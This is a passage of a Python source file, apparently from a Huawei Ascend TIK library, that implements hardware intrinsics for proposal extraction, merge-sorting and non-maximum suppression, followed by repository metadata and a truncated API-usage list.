\"r\", extent=src_extent[index].get()))\n        config = concat_params([repeat_times],\n                               OBJECT_SPECIAL_OFFSET_LIST,\n                               OBJECT_SPECIAL_SEGMENT_LIST)\n        with self.new_scope():\n            instr = tvm.call_extern(dst.dtype, name,\n                                    *type_convert(tensor_addr + [config]))\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            self.emit(instr, ONE_IR)\n\n    def vmrgch(self, dst, src, repeat_times):\n        \"\"\"Keep the first 4 data, the rest of the data is removed\n\n        Parameters\n        ----------\n        mask : Effective operation on element,\n               divided into two model: Continuous and bit by bit.\n        dst : destination operator\n        src : source operation\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        return self._special_intrin_func('vmergech', dst, [src], repeat_times)\n\n    def vrpac(self, dst, src, repeat_times):\n        \"\"\"Calculate the area of the proposal\n\n        Parameters\n        ----------\n        mask : Effective operation on element,\n               divided into two model: Continuous and bit by bit.\n        dst : destination operator\n        src : source operation\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        return self._special_intrin_func('vrpac', dst, [src], repeat_times)\n\n    def vaadd(self, dst, src0, src1, repeat_times):\n        \"\"\"Find the sum of the two proposal areas\n\n        Parameters\n        ----------\n        mask : Effective operation on element,\n               divided into two model: Continuous and bit by bit.\n        dst : destination operator\n        src : source operation\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        return self._special_intrin_func('vaadd', dst, [src0, src1],\n                                         repeat_times)\n\n    def viou(self, dst, src0, src1, repeat_times):\n        \"\"\"Find the intersection area of two proposals\n\n        Parameters\n        ----------\n        mask : Effective operation on element,\n               divided into two model: Continuous and bit by bit.\n        dst : destination operator\n        src : source operation\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        return self._special_intrin_func('viou', dst, [src0, src1],\n                                         repeat_times)\n\n    @source_info_decorator()\n    @debug.vextract_decorator\n    def vextract(self, dst, src, repeat_times, mode_number):\n        \"\"\"Extract the corresponding element from the proposal\n\n        Parameters\n        ----------\n        dst:destination tensor\n        src:source tensor\n        mode_number: 0: x1, 1: y1, 2: x2, 3: y2, 4: score, 5:label\n        repeat_times:[1,255]\n\n        Returns\n        -------\n        None\n        \"\"\"\n        # check dst src\n        TikCheckUtil.check_type_match(dst, Tensor, \"dst should be tensor\")\n        TikCheckUtil.check_equality(\n            dst.scope, scope_ubuf,\n            \"dst scope should be ub, input scope: {}\".format(dst.scope))\n        TikCheckUtil.check_type_match(src, Tensor, \"src should be tensor\")\n        TikCheckUtil.check_equality(\n            src.scope, scope_ubuf,\n            \"src scope should be ub, input scope: {}\".format(src.scope))\n        # check repeat_times\n        check_repeat_times(repeat_times)\n        TikCheckUtil.check_type_match(\n            mode_number, (int, Scalar, Expr),\n            \"mode_number should be int, Scalar or Expr\")\n        check_scalar_dtype(mode_number,\n                           \"scalar_mode_number should be a scalar of int/uint\")\n        if get_soc_name() == ASCEND_310:\n            check_integer_in_range(\n                mode_number, range(MAX_MODE_NUMBER_VEXTRACT_V100),\n                \"mode_number should be in the range of [0, 3],\"\n                \" input value is %s\" % str(mode_number))\n        else:\n            check_integer_in_range(\n                mode_number, range(MAX_MODE_NUMBER),\n                \"mode_number should be in the range of [0, 5],\"\n                \" input value is %s\" % str(mode_number))\n\n        # check dtype\n        TikCheckUtil.check_equality(dst.dtype, src.dtype,\n                                    \"Intrinsic {}'s src's dtype should \"\n                                    \"be equal to dst's dtype\".\n                                    format(\"vextract\"))\n        TikCheckUtil.check_equality(intrinsic_check_support(\"Intrinsic_\" +\n                                                            \"vextract\",\n                                                            dst.dtype), True,\n                                    INSTR_DTYPE_SUPPORT_STATEMENT.\n                                    format(dst.dtype, \"vextract\"))\n    # check dst src tensor overflow\n        # in 1 repeat, read 16 proposals in which there're 8 elements.\n        # write 16 elements\n        if all(Expr(value).eval_value() is not None for value\n               in (repeat_times, src.offset)):\n            src_expected_size = Expr(repeat_times*16*8 +\n                                     src.offset).eval_value()\n            TikCheckUtil.check_ge(\n                reduce_mul(src.indice.origin_shape), src_expected_size,\n                \"src tensor overflow, expected src shape: {}, actual src \"\n                \"shape: {}\".format(src_expected_size,\n                                   reduce_mul(src.indice.origin_shape)))\n        if all(Expr(value).eval_value() is not None for value\n               in (repeat_times, dst.offset)):\n            dst_expected_size = Expr(repeat_times*16 + dst.offset).eval_value()\n            TikCheckUtil.check_ge(\n                reduce_mul(dst.indice.origin_shape),\n                dst_expected_size,\n                \"dst tensor overflow, expected dst shape: {}, actual dst \"\n                \"shape: {}\".format(dst_expected_size + dst.offset,\n                                   reduce_mul(dst.indice.origin_shape)))\n        # code gen\n        params = [mode_number, repeat_times]\n        config = concat_params(params, VEXTRACT_OFFSET_LIST,\n                               VEXTRACT_SEGMENT_LIST)\n        # extracts 16 region proposals coordination,\n        # and merge result into one 32B, each result occupies dtype_size Byte\n        # 8 elements/proposal, dtype_size\n        dst_extent = Expr(repeat_times*16*DTYPE_SIZE[dst.dtype])\n        src_extent = Expr(repeat_times*16*8*DTYPE_SIZE[src.dtype])\n        with self.new_scope():\n            instr = tvm.call_extern(dst.dtype, \"vextract\",\n                                    dst.access_ptr(\"w\",\n                                                   extent=dst_extent.get()),\n                                    src.access_ptr(\"r\",\n                                                   extent=src_extent.get()),\n                                    type_convert(config))\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            self.emit(instr, ONE_IR)\n\n    # special intrin of NMS\n    @source_info_decorator()\n    @debug.vconcate_decorator\n    def vconcat(self, dst, src, repeat_times, mode_number):\n        \"\"\"Contrary to vextract, the elements are merged into the\n        corresponding position of the proposal\n\n        Parameters\n        ----------\n        dst:destination tensor\n        src:source tensor\n        mode_number: 0: x1, 1: y1, 2: x2, 3: y2, 4: score, 5:label\n        repeat_times:[1,255]\n\n        Returns\n        -------\n        None\n        \"\"\"\n        # check dst tensor and scope\n        TikCheckUtil.check_type_match(dst, Tensor,\n                                      \"dst should be tensor, input type: {}\"\n                                      .format(type(dst)))\n        TikCheckUtil.check_equality(\n            dst.scope, scope_ubuf, \"dst's scope must be UB, input scope: {}\"\n            .format(dst.scope))\n        # check src tensor and scope\n        TikCheckUtil.check_type_match(\n            src, Tensor, \"src should be tensor, input type: {}\"\n            .format(type(src)))\n        TikCheckUtil.check_equality(\n            src.scope, scope_ubuf, \"src's scope must be UB, input scope: {}\"\n            .format(src.scope))\n        # check repeat_times\n        check_repeat_times(repeat_times)\n        TikCheckUtil.check_type_match(\n            mode_number, (int, Scalar, Expr),\n            \"mode_number should be int, Scalar or Expr, input type: {}\"\n            .format(type(mode_number)))\n        check_scalar_dtype(mode_number,\n                           \"scalar_mode_number should be a scalar of int/uint\")\n        check_integer_in_range(mode_number, range(MAX_MODE_NUMBER),\n                               \"mode_number should be in the range of [0, 5], \"\n                               \"input value is %s\" % str(mode_number))\n        # check dtype\n        TikCheckUtil.check_equality(dst.dtype, src.dtype,\n                                    \"Intrinsic {}'s src's dtype \"\n                                    \"should be equal to dst's dtype\".\n                                    format(\"vconcat\"))\n        TikCheckUtil.check_equality(intrinsic_check_support(\"Intrinsic_\"\n                                                            + \"vconcat\",\n                                                            dst.dtype), True,\n                                    INSTR_DTYPE_SUPPORT_STATEMENT.\n                                    format(dst.dtype, \"vconcat\"))\n        # check tensor overflow\n        _check_special_intrin_func_overflow(\"vconcat\", dst, [src], repeat_times)\n        # code gen\n        params = [mode_number, repeat_times]\n        offset_list = VCONCAT_OFFSET_LIST\n        segment_list = VCONCAT_SEGMENT_LIST\n        config = concat_params(params, offset_list, segment_list)\n        # splits 16 numbers into 16 region proposals\n        # 8 elements/proposal, dtype_size\n        src_extent = Expr(repeat_times*16*DTYPE_SIZE[src.dtype])\n        dst_extent = Expr(repeat_times*16*8*DTYPE_SIZE[dst.dtype])\n        with self.new_scope():\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            instr = tvm.call_extern(dst.dtype, \"vconcat\",\n                                    dst.access_ptr(\"w\",\n                                                   extent=dst_extent.get()),\n                                    src.access_ptr(\"r\",\n                                                   extent=src_extent.get()),\n                                    type_convert(config))\n            self.emit(instr, ONE_IR)\n\n    # special intrin of SORT\n    @source_info_decorator()\n    @debug.vms_decarator\n    def vmrgsort4(self,  # pylint: disable=R0913\n                  dst,\n                  src_list,\n                  element_count_list,\n                  if_exhausted_suspension,\n                  valid_bit,\n                  repeat_times=1,\n                  vms4_sr_scalar_array=None):\n        \"\"\"Arrange and merge multiple (up to four) proposal queues\n                that have been queued into one queue\n\n        Parameters\n        ----------\n        dst : destination operation\n        src_list : source operation list\n        element_count_list : length of the proposal list\n        if_exhausted_suspension : 0 not stop, 1 stop\n        valid_bit : 0011 two lines are valid\n                    0111 three lines are valid\n                    1111 four lines are valid\n        repeat_times: times of invoke this instrction\n        vms4_sr_scalar_array: list consist of 4 scalar, as a return value\n\n        Returns\n        -------\n        None or scalar_list\n        \"\"\"\n        # check dtype\n        TikCheckUtil.check_type_match(\n            dst, Tensor, \"dst should be tensor, input type of dst: {}\".format(\n                type(dst)))\n        TikCheckUtil.check_equality(\n            dst.scope, scope_ubuf, \"dst scope should be ub, \"\n                                   \"input scope: {}\".format(dst.scope))\n        # check src_list type, scope, dtype\n        check_tensor_list([src_list], [\"src_list\"])\n        # check src_list\n        TikCheckUtil.check_type_match(\n            src_list, (list, tuple),\n            \"src_list should be list or tuple, input type of src_list: {}\"\n            .format(type(src_list)))\n        TikCheckUtil.check_equality(\n            len(src_list), SRC_LIST_LEN,\n            \"the length of src_list should be 4, length of input src_list: %s.\"\n            % len(src_list))\n        # src_list dtype are same, choose src_list[0].dtype as src_dtype\n        TikCheckUtil.check_equality(dst.dtype, src_list[0].dtype,\n                                    \"Intrinsic {}'s src's dtype should\"\n                                    \" be equal to dst's dtype\".\n                                    format(\"vmrgsort4\"))\n        TikCheckUtil.check_equality(intrinsic_check_support(\"Intrinsic_\"\n                                                            + \"vmrgsort4\",\n                                                            dst.dtype), True,\n                                    INSTR_DTYPE_SUPPORT_STATEMENT.\n                                    format(dst.dtype, \"vmrgsort4\"))\n\n        # check element_lengths\n        TikCheckUtil.check_type_match(\n            element_count_list, (tuple, list, int, Scalar, Expr),\n            \"element_count_list should be tuple, list, int, Scalar or Expr, \"\n            \"input type of element_count_list: {}\"\n            .format(type(element_count_list)))\n        if isinstance(element_count_list, (tuple, list)):\n            TikCheckUtil.check_equality(\n                len(element_count_list), len(src_list),\n                \"length of input element_count_list(length: {}) should be equal\"\n                \" to length of src_list(length: {})\"\n                .format(len(element_count_list), len(src_list)))\n            for index in range(SRC_LIST_LEN):\n                TikCheckUtil.check_type_match(\n                    element_count_list[index], (int, Scalar, Expr),\n                    \"element_count_list[{}] should be int, Scalar or Expr, \"\n                    \"input type: {}\".format(index,\n                                            type(element_count_list[index])))\n        else:\n            element_count_list = [element_count_list]*len(src_list)\n\n        for index in range(len(src_list)):\n            check_integer_in_range(\n                element_count_list[index], range(MAX_ELEMENTS_LEN),\n                \"element_count[{}] should be in the range of [0, {}]\"\n                .format(index, MAX_ELEMENTS_LEN - 1))\n        # check valid_bit\n        TikCheckUtil.check_type_match(\n            valid_bit, (int, str, Scalar),\n            \"valid_bit should be int or str or Scalar, input type of valid_bit:\"\n            \" {}\".format(type(valid_bit)))\n        check_scalar_dtype(valid_bit,\n                           \"scalar_valid_bit should be a scalar of int/uint\")\n        if not isinstance(valid_bit, Scalar):\n            if isinstance(valid_bit, str):\n                # binary dtype -> int dtype\n                valid_bit = int(valid_bit, 2)\n            if get_soc_name() in (ASCEND_310, ASCEND_910):\n                TikCheckUtil.check_in_range(\n                    valid_bit, VALID_BIT_TUPLE,\n                    \"valid bits only support 1111, 0111 or 0011 // binary, \"\n                    \"input valid bits: {} // decimal\".format(valid_bit))\n            TikCheckUtil.check_in_range(\n                valid_bit, VALID_BIT_TUPLE_V200,\n                \"valid bits only support 1111, 0111, 0011 or 0001 // binary, \"\n                \"input valid_bit: {} // decimal\".format(valid_bit))\n        # check if_exhausted_suspension\n        TikCheckUtil.check_type_match(\n            if_exhausted_suspension, bool,\n            \"if_exhausted_suspension should be bool, input type of \"\n            \"if_exhausted_suspension: {}\".format(type(if_exhausted_suspension)))\n\n        # check repeat_times\n        check_repeat_times(repeat_times)\n        check_vms4_repeat_times(repeat_times, element_count_list, valid_bit,\n                                if_exhausted_suspension)\n\n        # 1 need suspend; 0 don't need suspend\n        exh_susp_number = 1 if if_exhausted_suspension else 0\n\n        # check tensor overflow\n        _check_vms4_src_tensor_overflow(src_list, element_count_list, valid_bit,\n                                        repeat_times, if_exhausted_suspension)\n        _check_vms4_dst_tensor_overflow(dst, element_count_list, valid_bit,\n                                        repeat_times, if_exhausted_suspension)\n\n        # code gen\n        # element_count_list has four proposal, 0-3 is idx of four proposal\n        params = [\n            repeat_times,\n            element_count_list[0], element_count_list[1],\n            element_count_list[2], element_count_list[3],\n            exh_susp_number, valid_bit\n        ]\n        self._generate_code_vmrgsort4(params, dst, src_list)\n        # read vms4_sr\n        if vms4_sr_scalar_array is None:\n            return VMS4_SR\n        TikCheckUtil.check_type_match(\n            vms4_sr_scalar_array, (list, tuple),\n            \"vms4_sr_scalar_array should be list or tuple, input type of \"\n            \"vms4_sr_scalar_array: {}\".format(type(vms4_sr_scalar_array)))\n        TikCheckUtil.check_ge(\n            len(vms4_sr_scalar_array), VMS4_SR_ARRAY_LEN,\n            \"length of vms4_sr_scalar_array should contain 4 scalars at least, \"\n            \"input length of vms4_sr_scalar_array: {}\"\n            .format(len(vms4_sr_scalar_array)))\n        if not is_basic_expr(vms4_sr_scalar_array):\n            TikCheckUtil.raise_error(\"vms4_sr_scalar_array should be scalar\")\n        if not if_exhausted_suspension:\n            TikCheckUtil.raise_error(\"vms4_sr can't be read in \"\n                                     \"non-exhausted mode.\")\n        with self.new_scope():\n            scalar_tmp = self.Scalar_(\"int64\",  # pylint: disable=E1101\n                                      init_value=0)\n            self.emit(\n                tvm.call_extern(\n                    scalar_tmp.dtype, \"reg_set\", scalar_tmp.get(),\n                    tvm.call_extern(scalar_tmp.dtype, \"get_vms4_sr\")), ONE_IR)\n            # vms4_sr_scalar_array has four scalar element,\n            # 0-3 is idx of scalar array\n            with self.context.freeze():  # pylint: disable=E1101\n                vms4_sr_scalar_array[3].set_as(\n                    (scalar_tmp >> VMS4_REGION_LIST0_POS) &\n                    VMS4_REG_BIT_ALL_ONE)\n                vms4_sr_scalar_array[2].set_as(\n                    (scalar_tmp >> VMS4_REGION_LIST1_POS) &\n                    VMS4_REG_BIT_ALL_ONE)\n                vms4_sr_scalar_array[1].set_as(\n                    (scalar_tmp >> VMS4_REGION_LIST2_POS) &\n                    VMS4_REG_BIT_ALL_ONE)\n                vms4_sr_scalar_array[0].set_as(\n                    scalar_tmp & VMS4_REG_BIT_ALL_ONE)\n        return None\n\n    def _generate_code_vmrgsort4(self, params, dst, src_list):\n        \"\"\"generate code\n\n        Parameters\n        ----------\n        params: list of param\n        dst : destination operation\n        src_list : source operation list\n\n        Returns\n        -------\n        None\n        \"\"\"\n        offset_list = VMRGSORT4_OFFSET_LIST\n        segment_list = VMRGSORT4_SEGMENT_LIST\n        config = concat_params(params, offset_list, segment_list)\n        src_array = addr_array_make(self, src_list)\n        with self.new_scope():\n            instr = tvm.make.Evaluate(\n                tvm.call_extern(dst.dtype,\n                                \"vmrgsort4\",\n                                dst.access_ptr(\"w\"),\n                                tvm.call_pure_intrin(\"uint64\",\n                                                     \"tvm_cce_string_print\",\n                                                     \"addr_array_\" +\n                                                     TikProposalApi.\n                                                     get_vm4_value(False)),\n                                type_convert(config)))\n            self.source_info.set_node_loc(instr)\n            instr_block = tvm.make.Block(src_array, instr)\n            self.source_info.set_node_loc(instr_block)\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            self.scope_attr(cce_params.CCE_AXIS, \"mem_access_scope\",\n                            tvm.call_extern(\"int64\", \"__vmrgsort4__\",\n                                            \"addr_array\"))\n            self.emit(instr_block, TWO_IR)\n\n    @source_info_decorator()\n    @debug.vms4_to_scalar_decorator\n    def mov_vmrgsort4_sr_to_scalar(self, scalar_list, vms4_sr):\n        \"\"\"get finished elements of 4 lists a scalar-array.\n\n        Parameters\n        ----------\n        scalar_list: a list of Scalar\n\n        vms4_sr: tik_params's VMS4 SR\n\n        Returns\n        ----------\n        the list which have 4scalar\n        \"\"\"\n        from .tik_params import SCALAR_LIST_LEN\n        TikCheckUtil.check_is(\n            vms4_sr, VMS4_SR,\n            \"Please assure the vms4_sr is the return of vmrgsort4.\")\n        TikCheckUtil.check_type_match(scalar_list, list,\n                                      \"scalar_list should be list\")\n        TikCheckUtil.check_ge(\n            len(scalar_list), SCALAR_LIST_LEN,\n            \"Please specify a list of scalar at least 4 elements.\")\n        for i in range(SCALAR_LIST_LEN):\n            TikCheckUtil.check_type_match(\n                scalar_list[i], Scalar,\n                \"scalar_list[%d] should be scalar\" % (i))\n            TikCheckUtil.check_in_range(\n                scalar_list[i].dtype, ('int64',),\n                \"scalar_list[%d] should be a Scalar of int64.\" % (i))\n        with self.new_scope():\n            self.emit(tvm.call_extern(\n                scalar_list[0].dtype, \"reg_set\",\n                scalar_list[0].get(),\n                tvm.call_extern(scalar_list[0].dtype, \"get_vms4_sr\")\n            ), ONE_IR)\n            with self.context.freeze():  # pylint: disable=E1101\n                scalar_list[3].set_as((scalar_list[0] >> VMS4_REGION_LIST0_POS)\n                                      & VMS4_REG_BIT_ALL_ONE)\n                scalar_list[2].set_as((scalar_list[0] >> VMS4_REGION_LIST1_POS)\n                                      & VMS4_REG_BIT_ALL_ONE)\n                scalar_list[1].set_as((scalar_list[0] >> VMS4_REGION_LIST2_POS)\n                                      & VMS4_REG_BIT_ALL_ONE)\n                scalar_list[0].set_as(scalar_list[0] & VMS4_REG_BIT_ALL_ONE)\n\n    @source_info_decorator()\n    @debug.set_rpn_cor_ir_decorator\n    def set_rpn_cor_ir(self, number):\n        \"\"\"Set special register variables for intermediate\n        suppression vector storage\n\n        Parameters\n        ----------\n        number : the set number\n\n        Returns\n        -------\n        None\n        \"\"\"\n        from .tik_params import MAX_NUMBER\n        # check number\n        TikCheckUtil.check_type_match(\n            number, (int, Scalar), \"number should be int or Scalar\")\n        check_integer_in_range(number, range(MAX_NUMBER),\n                               \"set value should in the range of [0, 65535]\")\n        if isinstance(number, Scalar):\n            TikCheckUtil.check_equality(\n                number.dtype, \"uint16\", \"scalar_number should be uint16\")\n        with self.new_scope():\n            if isinstance(number, Scalar):\n                self.emit(tvm.call_extern(\"int64\", \"set_rpn_cor_ir\",\n                                          number.get()), ONE_IR)\n            else:\n                self.emit(tvm.call_extern(\"int64\", \"set_rpn_cor_ir\", number),\n                          ONE_IR)\n        return RPN_COR_IR\n\n    @source_info_decorator()\n    @debug.set_rpn_offset_decorator\n    def set_rpn_offset(self, number):\n        \"\"\"Set the offset of area and join for computing rpn_proposal\n\n        Parameters\n        ----------\n        number : offset\n\n        Returns\n        -------\n        None\n        \"\"\"\n        # check core_version\n        TikCheckUtil.check_not_equality(\n            get_soc_name(), ASCEND_310,\n            \"instr set_rpn_offset doesn't support ASCEND_310\")\n        # check number\n        TikCheckUtil.check_type_match(number, (int, float, Scalar),\n                                      \"number should be int, float or Scalar\")\n        num_upper_limit = 65505\n        num_lower_limit = -65504\n        check_integer_in_range(\n            number, range(num_lower_limit, num_upper_limit),\n            \"set value should be in the range of [-65504, 65504]\")\n        if isinstance(number, Scalar):\n            TikCheckUtil.check_equality(\n                number.dtype, \"float16\", \"scalar_number should be float16\")\n\n        with self.new_scope():\n            if isinstance(number, Scalar):\n                self.emit(tvm.call_extern(\"float16\", \"set_rpn_offset\",\n                                          number.get()), ONE_IR)\n            else:\n                self.emit(tvm.call_extern(\"float16\", \"set_rpn_offset\", number),\n                          ONE_IR)\n        return RPN_OFFSET\n\n    @source_info_decorator()\n    @debug.rpn_cor_decorator\n    def rpn_cor(self, src0, src1,  # pylint: disable=R0913\n                src0_rep_stride, src1_rep_stride,\n                repeat_times):\n        \"\"\"Find a new 16 proposal suppresion vector\n\n        Parameters\n        ----------\n        src0 : source operation\n        src1 : source operation\n        repeat_times : Repeated iterations times\n        src0_rep_stride : offset of src operator in the same block\n                          between adjacent iterations\n        src1_rep_stride : offset of src operator in the same block\n                        between adjacent iterations\n\n        Returns\n        -------\n        The median value of the suppression vector\n        \"\"\"\n        # check tensor\n        TikCheckUtil.check_type_match(src0, Tensor, \"src0 should be tensor\")\n        TikCheckUtil.check_type_match(src1, Tensor, \"src1 should be tensor\")\n        TikCheckUtil.check_equality(\n            src0.dtype, 'uint16', \"suppression matrix should use uint16\")\n        TikCheckUtil.check_equality(\n            src1.dtype, 'uint16', \"suppression Vector should use uint16\")\n        # check repeat\n        check_repeat_times(repeat_times)\n        # check stride\n        check_vector_stride(None, [src0_rep_stride, src1_rep_stride],\n                            None, MAX_REP_STRIDE_DOUBLE_BYTE, [\"src0\", \"src1\"])\n\n        # check tensor scope\n        TikCheckUtil.check_equality(\n            src1.scope, scope_ubuf, \"src1's scope must be UB\")\n        TikCheckUtil.check_equality(\n            src0.scope, scope_ubuf, \"src0's scope must be UB\")\n\n        params = [src0_rep_stride, src1_rep_stride, repeat_times]\n        offset_list = RPN_COR_OFFSET_LIST\n        segment_list = RPN_COR_SEGMENT_LIST\n        config = concat_params(params, offset_list, segment_list)\n        # get 16-bit suppression vector intermediate result,\n        # only update RPN_COR_IR special register\n        # extent: ((repeat_times - 1) * src0_rep_stride + 1) * 32Byte/Block\n        src0_extent = Expr(((repeat_times - 1)*src0_rep_stride + 1)*32)\n        src1_extent = Expr(((repeat_times - 1)*src1_rep_stride + 1)*32)\n        with self.new_scope():\n            instr = tvm.call_extern(src0.dtype, \"rpn_cor\",\n                                    src0.reinterpret_cast_to(\"float16\").\n                                    access_ptr(\"r\", extent=src0_extent.get()),\n                                    src1.reinterpret_cast_to(\"float16\").\n                                    access_ptr(\"r\", extent=src1_extent.get()),\n                                    type_convert(config))\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            self.emit(instr, ONE_IR)\n        return RPN_COR_IR\n\n    @source_info_decorator()\n    @debug.rpn_cor_diag_decorator\n    def rpn_cor_diag(self, dst, src, src_register):\n        \"\"\"Find a new 16 proposal suppresion vector\n\n        Parameters\n        ----------\n        dst : destination operation\n        src : source operation\n        src_register : specieal register\n\n        Returns\n        -------\n        The median value of the suppression vector\n        \"\"\"\n        # check tensor\n        TikCheckUtil.check_type_match(src, Tensor, \"src should be tensor\")\n        TikCheckUtil.check_type_match(dst, Tensor, \"dst should be tensor\")\n        TikCheckUtil.check_equality(\n            src.dtype, 'uint16', \"suppression matrix should use uint16\")\n        TikCheckUtil.check_equality(\n            dst.dtype, 'uint16', \"suppression Vector should use uint16\")\n        # check rpn_cor_ir\n        TikCheckUtil.check_equality(\n            src_register, RPN_COR_IR, \"src_register not equal to RPN_COR_IR\")\n        # check tensor scope\n        TikCheckUtil.check_equality(\n            src.scope, scope_ubuf, \"src's scope must be UB\")\n        TikCheckUtil.check_equality(\n            dst.scope, scope_ubuf, \"dst's scope must be UB\")\n        # 16 elements * each elements occupies 2B\n        extent = Expr(16*2)\n        with self.new_scope():\n            self.scope_attr(cce_params.CCE_AXIS, \"coproc_scope\", PIPE_V)\n            self.emit(\n                tvm.call_extern(\n                    dst.dtype, \"rpn_cor_diag\",\n                    dst.reinterpret_cast_to(\"float16\").access_ptr(\n                        \"w\", extent=extent.get()),\n                    src.reinterpret_cast_to(\"float16\").access_ptr(\"r\",\n                                                                  extent=\n                                                                  extent.get())\n                    ), ONE_IR)\n\n    def vrpsort16(self, dst, src, repeat_times):\n        \"\"\"Sort them according to the score field in proposal\n\n        Parameters\n        ----------\n        mask : Effective operation on element,\n               divided into two model: Continuous and bit by bit.\n        dst : destination operator\n        src : source operation\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        return self._special_intrin_func('vbitsort', dst, [src], repeat_times)\n", "repo_name": "jizhuoran/caffe-huawei-atlas-convertor", "sub_path": "convertor/huawei/te/tik/tik_lib/tik_proposal_api_.py", "file_name": "tik_proposal_api_.py", "file_ext": "py", "file_size_in_byte": 45327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tik_expr.Expr", "line_number": 76, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 80, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 82, "usage_type": "call"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 97, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 98, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 99, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 102, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 102, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 127, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 131, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 133, "usage_type": "call"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 141, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 146, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 147, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 150, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 150, "usage_type": "name"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 172, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 174, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 176, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 176, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 196, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 236, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 236, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 242, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 242, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 242, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 247, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 247, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 252, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 252, "usage_type": "name"}, {"api_name": "te.tvm.make.Evaluate", "line_number": 256, "usage_type": "call"}, {"api_name": "te.tvm.make", "line_number": 256, "usage_type": "attribute"}, {"api_name": "te.tvm", "line_number": 256, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 256, "usage_type": "call"}, {"api_name": "api.tik_ir_builder.TikIRBuilder", "line_number": 265, "usage_type": "name"}, {"api_name": "tik_api_util.check_repeat_times", "line_number": 293, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 295, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 295, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 295, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 297, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 297, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 297, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 300, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 300, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 303, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 303, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 303, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 304, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 304, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 304, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 306, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 306, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 310, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 310, "usage_type": "name"}, {"api_name": "te.platform.cce_conf.intrinsic_check_support", "line_number": 310, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT.format", "line_number": 313, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT", "line_number": 313, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 289, "usage_type": "call"}, {"api_name": "te.tik.common.util.get_bit_len", "line_number": 337, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 350, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 350, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 351, "usage_type": "call"}, {"api_name": 